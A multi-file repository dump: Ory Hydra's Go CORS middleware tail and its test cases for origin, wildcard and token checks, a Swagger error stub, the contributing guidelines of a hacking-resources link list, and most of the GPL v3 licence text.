g, err := glob.Compile(strings.ToLower(o), '.')
if err != nil {
return false
}
if g.Match(origin) {
return true
}
}
return false
},
}
reg.Logger().Debug("enhancing CORS per client")
cors.New(options).Handler(h).ServeHTTP(w, r)
})
}
} |
Go | hydra/x/oauth2cors/cors_test.go | // Copyright © 2022 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package oauth2cors_test
import (
"bytes"
"context"
"fmt"
"io"
"net/http"
"net/http/httptest"
"net/url"
"testing"
"time"
"github.com/ory/hydra/v2/driver"
"github.com/ory/x/contextx"
"github.com/ory/hydra/v2/x"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/ory/fosite"
"github.com/ory/hydra/v2/client"
"github.com/ory/hydra/v2/internal"
"github.com/ory/hydra/v2/oauth2"
)
func TestOAuth2AwareCORSMiddleware(t *testing.T) {
ctx := context.Background()
r := internal.NewRegistryMemory(t, internal.NewConfigurationWithDefaults(), &contextx.Default{})
token, signature, _ := r.OAuth2HMACStrategy().GenerateAccessToken(ctx, nil)
for k, tc := range []struct {
prep func(*testing.T, driver.Registry)
d string
mw func(http.Handler) http.Handler
code int
header http.Header
expectHeader http.Header
method string
body io.Reader
}{
{
d: "should ignore when disabled",
prep: func(t *testing.T, r driver.Registry) {},
code: http.StatusNotImplemented,
header: http.Header{},
expectHeader: http.Header{},
},
{
d: "should reject when basic auth but client does not exist and cors enabled",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://not-test-domain.com"})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo", "bar"))}},
expectHeader: http.Header{"Vary": {"Origin"}},
},
{
d: "should reject when post auth client exists but origin not allowed",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://not-test-domain.com"})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-2", Secret: "bar", AllowedCORSOrigins: []string{"http://not-foobar.com"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Content-Type": {"application/x-www-form-urlencoded"}},
expectHeader: http.Header{"Vary": {"Origin"}},
method: http.MethodPost,
body: bytes.NewBufferString(url.Values{"client_id": []string{"foo-2"}}.Encode()),
},
{
d: "should accept when post auth client exists and origin allowed",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://not-test-domain.com"})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-3", Secret: "bar", AllowedCORSOrigins: []string{"http://foobar.com"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Content-Type": {"application/x-www-form-urlencoded"}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
method: http.MethodPost,
body: bytes.NewBufferString(url.Values{"client_id": {"foo-3"}}.Encode()),
},
{
d: "should reject when basic auth client exists but origin not allowed",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://not-test-domain.com"})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-2", Secret: "bar", AllowedCORSOrigins: []string{"http://not-foobar.com"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-2", "bar"))}},
expectHeader: http.Header{"Vary": {"Origin"}},
},
{
d: "should accept when basic auth client exists and origin allowed",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-3", Secret: "bar", AllowedCORSOrigins: []string{"http://foobar.com"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-3", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should accept when basic auth client exists and origin allowed",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-3", Secret: "bar", AllowedCORSOrigins: []string{"http://foobar.com"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-3", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should accept when basic auth client exists and origin (with partial wildcard) is allowed per client",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-4", Secret: "bar", AllowedCORSOrigins: []string{"http://*.foobar.com"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foo.foobar.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-4", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foo.foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should accept when basic auth client exists and wildcard origin is allowed per client",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-4", Secret: "bar", AllowedCORSOrigins: []string{"http://*"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foo.foobar.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-4", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foo.foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should accept when basic auth client exists and origin (with full wildcard) is allowed globally",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"*"})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-5", Secret: "bar", AllowedCORSOrigins: []string{"http://barbar.com"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"*"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-5", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"*"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should accept when basic auth client exists and origin (with partial wildcard) is allowed globally",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://*.foobar.com"})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-6", Secret: "bar", AllowedCORSOrigins: []string{"http://barbar.com"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foo.foobar.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-6", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foo.foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should accept when basic auth client exists and origin (with full wildcard) allowed per client",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://not-test-domain.com"})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-7", Secret: "bar", AllowedCORSOrigins: []string{"*"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-7", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should succeed on pre-flight request when token introspection fails",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://not-test-domain.com"})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Authorization": {"Bearer 1234"}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
method: "OPTIONS",
},
{
d: "should fail when token introspection fails",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://not-test-domain.com"})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Authorization": {"Bearer 1234"}},
expectHeader: http.Header{"Vary": {"Origin"}},
},
{
d: "should work when token introspection returns a session",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://not-test-domain.com"})
sess := oauth2.NewSession("foo-9")
sess.SetExpiresAt(fosite.AccessToken, time.Now().Add(time.Hour))
ar := fosite.NewAccessRequest(sess)
cl := &client.Client{LegacyClientID: "foo-9", Secret: "bar", AllowedCORSOrigins: []string{"http://foobar.com"}}
ar.Client = cl
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, cl)
_ = r.OAuth2Storage().CreateAccessTokenSession(ctx, signature, ar)
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foobar.com"}, "Authorization": {"Bearer " + token}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should accept any allowed specified origin protocol",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-11", Secret: "bar", AllowedCORSOrigins: []string{"*"}})
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://*", "https://*"})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://foo.foobar.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-11", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://foo.foobar.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should accept client origin when basic auth client exists and origin is set at the client as well as the server",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://**.example.com"})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-12", Secret: "bar", AllowedCORSOrigins: []string{"http://myapp.example.biz"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://myapp.example.biz"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-12", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://myapp.example.biz"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
{
d: "should accept server origin when basic auth client exists and origin is set at the client as well as the server",
prep: func(t *testing.T, r driver.Registry) {
r.Config().MustSet(ctx, "serve.public.cors.enabled", true)
r.Config().MustSet(ctx, "serve.public.cors.allowed_origins", []string{"http://**.example.com"})
// Ignore unique violations
_ = r.ClientManager().CreateClient(ctx, &client.Client{LegacyClientID: "foo-13", Secret: "bar", AllowedCORSOrigins: []string{"http://myapp.example.biz"}})
},
code: http.StatusNotImplemented,
header: http.Header{"Origin": {"http://client-app.example.com"}, "Authorization": {fmt.Sprintf("Basic %s", x.BasicAuth("foo-13", "bar"))}},
expectHeader: http.Header{"Access-Control-Allow-Credentials": []string{"true"}, "Access-Control-Allow-Origin": []string{"http://client-app.example.com"}, "Access-Control-Expose-Headers": []string{"Cache-Control, Expires, Last-Modified, Pragma, Content-Length, Content-Language, Content-Type"}, "Vary": []string{"Origin"}},
},
} {
t.Run(fmt.Sprintf("case=%d/description=%s", k, tc.d), func(t *testing.T) {
r.WithConfig(internal.NewConfigurationWithDefaults())
if tc.prep != nil {
tc.prep(t, r)
}
method := "GET"
if tc.method != "" {
method = tc.method
}
req, err := http.NewRequest(method, "http://foobar.com/", tc.body)
require.NoError(t, err)
for k := range tc.header {
req.Header.Set(k, tc.header.Get(k))
}
res := httptest.NewRecorder()
r.OAuth2AwareMiddleware()(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusNotImplemented)
})).ServeHTTP(res, req)
require.NoError(t, err)
assert.EqualValues(t, tc.code, res.Code)
assert.EqualValues(t, tc.expectHeader, res.Header())
})
}
} |
Go | hydra/x/swagger/genericError.go | // Copyright © 2023 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package swagger
import "github.com/ory/herodot"
// swagger:model genericError
//
//nolint:deadcode,unused
//lint:ignore U1000 Used to generate Swagger and OpenAPI definitions
type GenericError struct{ herodot.DefaultError } |
Markdown | Awesome-Hacking-Resources/contributing.md | # Contribution Guidelines
Please follow the instructions below to make a contribution.
This resource was made by the developers and hackers alike! We appreciate and recognize all [contributors](#contributors).
## Table of Content
- [Adding to the list](#adding-to-the-list)
- [Removing from the list](#removing-from-the-list)
- [Contributors](#contributors)
## Adding to the List
- Please add the content to the `README.md` and `tools.md` files and make sure that the edited list is in alphabetical order.
- Submit a pull request.
## Removing from the List
- If you have any issues accessing any of the resources listed here, please let us know.
## Contributors
* [VS](https://github.com/vitalysim)
* [Magicansk](https://github.com/magicansk)
* [Tiago Alves](https://github.com/tiaghoalves)
* [ClearIce](https://github.com/ClearIce)
* [Samy Kamkar](https://github.com/samyk)
* [avicoder](https://github.com/vjex)
* [John Aho](https://github.com/johnaho)
* [benjibobs](https://github.com/benjibobs)
* [Paul](https://github.com/sajattack)
* [Piper Chester](https://github.com/piperchester)
* [David Schütz](https://github.com/xdavidhu)
* [Richard](https://github.com/richardwgd)
* [KOLANICH](https://github.com/KOLANICH)
* [Rakha Kanz Kautsar](https://github.com/rkkautsar)
* [Antony Garand](https://github.com/AntonyGarand)
* [bstlee0](https://github.com/bstlee0)
* [Giorgi Mkervalishvili](https://github.com/giomke)
* [Carlos Rincon](https://github.com/mezerotm)
* [Christos Christoforidis](https://github.com/tsourtsouris)
* [patMacMillan](https://github.com/patMacMillan)
* [Alec Nunn](https://github.com/alecnunn)
* [Josh Ortiz](https://github.com/dukeofdisaster)
* [Kay Kay](https://github.com/mwebber3) |
Awesome-Hacking-Resources/LICENSE | GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
